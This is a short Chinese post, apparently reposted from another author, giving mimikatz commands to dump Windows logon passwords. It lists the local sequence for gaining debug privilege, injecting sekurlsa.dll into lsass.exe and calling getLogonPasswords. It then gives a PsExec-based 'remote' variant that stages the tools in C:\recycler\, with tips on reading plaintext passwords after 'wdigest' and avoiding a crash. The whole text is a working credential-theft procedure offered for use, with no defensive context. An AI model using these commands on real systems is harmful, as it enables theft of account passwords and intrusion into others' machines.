神器mimikatz抓windows密码的命令方法

神器mimikatz 抓windows密码的命令方法

转载自和lcx 核老大的文章。本地测试：

//提升权限privilege::debug//注入dllinject::process lsass.exe sekurlsa.dll//抓取密码@getLogonPasswords

远程抓密码的方法。

首先提取几个文件，只抓取密码的话，只需要这几个文件：

mimikatz_trunk\tools\PsExec.exe

mimikatz_trunk\Win32\mimikatz.exe

mimikatz_trunk\Win32\sekurlsa.dll

然后最简单实用的方法，使用PsExec.exe 启动。(我的程序保存路径是C:\recycler\)

//在本机启动交互式命令提示窗口

C:\recycler\psexec \\127.0.0.1 cmd.exe

//启动一个命令行，然后执行：

mimikatz.exe C:\recycler\mimikatz.exe

//提升权限：

privilege::debug

//注入dll：

inject::process lsass.exe "C:\recycler\sekurlsa.dll" 要用绝对路径！并且路径中绝对不能有中文（可以有空格）！

//抓取密码：

@getLogonPasswords

wdigest后面就是明文密码了

//退出：exit，不要用ctrl + c，会导致mimikatz.exe CPU 占用达到100%，死循环。exit